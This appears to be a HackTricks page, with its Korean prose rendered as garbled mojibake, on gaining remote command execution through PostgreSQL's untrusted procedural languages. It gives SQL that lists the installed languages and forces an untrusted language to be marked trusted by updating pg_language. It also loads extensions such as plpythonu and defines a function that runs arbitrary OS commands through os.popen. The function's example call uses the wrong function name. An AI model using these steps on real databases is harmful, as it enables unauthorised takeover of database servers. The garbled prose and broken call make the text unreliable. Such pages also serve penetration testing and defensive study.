RCE with PostgreSQL Languages
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
PostgreSQL Languages
๋น์ ์ด ์ ๊ทผํ ์ ์๋ PostgreSQL ๋ฐ์ดํฐ๋ฒ ์ด์ค์๋ ์ ์ฉํ ์ ์๋ ๋ค์ํ ์คํฌ๋ฆฝํ ์ธ์ด๊ฐ ์ค์น๋์ด ์์ ์ ์์ต๋๋ค. ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
๋น์ ์ ๊ทธ๋ค์ ์คํํ ์ ์์ต๋๋ค:
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
๋๋ถ๋ถ์ PostgreSQL์ ์ค์นํ ์ ์๋ ์คํฌ๋ฆฝํ ์ธ์ด๋ 2๊ฐ์ง ์ข ๋ฅ๊ฐ ์์ต๋๋ค: ์ ๋ขฐ๋๊ณผ ์ ๋ขฐ๋์ง ์์. ์ ๋ขฐ๋์ง ์์ ์ธ์ด๋ โuโ๋ก ๋๋๋ ์ด๋ฆ์ ๊ฐ์ง๋ฉฐ, ์ฝ๋๋ฅผ ์คํํ๊ณ ๋ค๋ฅธ ํฅ๋ฏธ๋ก์ด ๊ธฐ๋ฅ์ ์ฌ์ฉํ ์ ์๋ ๋ฒ์ ์ ๋๋ค. ์ค์น๋ ๊ฒฝ์ฐ ํฅ๋ฏธ๋ก์ด ์ธ์ด๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
- โฆ (์์ ํ์ง ์์ ๋ฒ์ ์ ์ฌ์ฉํ๋ ๋ค๋ฅธ ํ๋ก๊ทธ๋๋ฐ ์ธ์ด)
Warning
ํฅ๋ฏธ๋ก์ด ์ธ์ด๊ฐ ์ค์น๋์ด ์์ง๋ง PostgreSQL์ ์ํด ์ ๋ขฐ๋์ง ์๋ ๊ฒฝ์ฐ (**
lanpltrusted**๊ฐfalse) ๋ค์ ์ค์ ์ฌ์ฉํ์ฌ ์ ๋ขฐํ ์ ์๋๋ก ์๋ํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ฉด PostgreSQL์์ ์ ํ์ด ์ ์ฉ๋์ง ์์ต๋๋ค:UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu'; # pg_language ํ ์ด๋ธ์ ๋ํ ๊ถํ์ ํ์ธํ๋ ค๋ฉด SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
Caution
์ธ์ด๊ฐ ๋ณด์ด์ง ์๋ ๊ฒฝ์ฐ (์ํผ๊ด๋ฆฌ์์ฌ์ผ ํจ) ๋ค์๊ณผ ๊ฐ์ด ๋ก๋ํด ๋ณผ ์ ์์ต๋๋ค:
CREATE EXTENSION plpythonu; CREATE EXTENSION plpython3u; CREATE EXTENSION plperlu; CREATE EXTENSION pljavaU; CREATE EXTENSION plrubyu;
์์ ํ ๋ฒ์ ์ โ์์ ํ์ง ์์โ ๋ฒ์ ์ผ๋ก ์ปดํ์ผํ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค๋ ์ ์ ์ ์ํ์ธ์. ์๋ฅผ ๋ค์ด ์ด ๋งํฌ๋ฅผ ํ์ธํ์ธ์. ๋ฐ๋ผ์ ์ ๋ขฐ๋ ๋ฒ์ ๋ง ์ค์น๋์ด ์๋๋ผ๋ ์ฝ๋๋ฅผ ์คํํ ์ ์๋์ง ์๋ํด ๋ณผ ๊ฐ์น๊ฐ ํญ์ ์์ต๋๋ค.
plpythonu/plpython3u
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
pgSQL
๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
C
๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
RCE with PostgreSQL Extensions
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


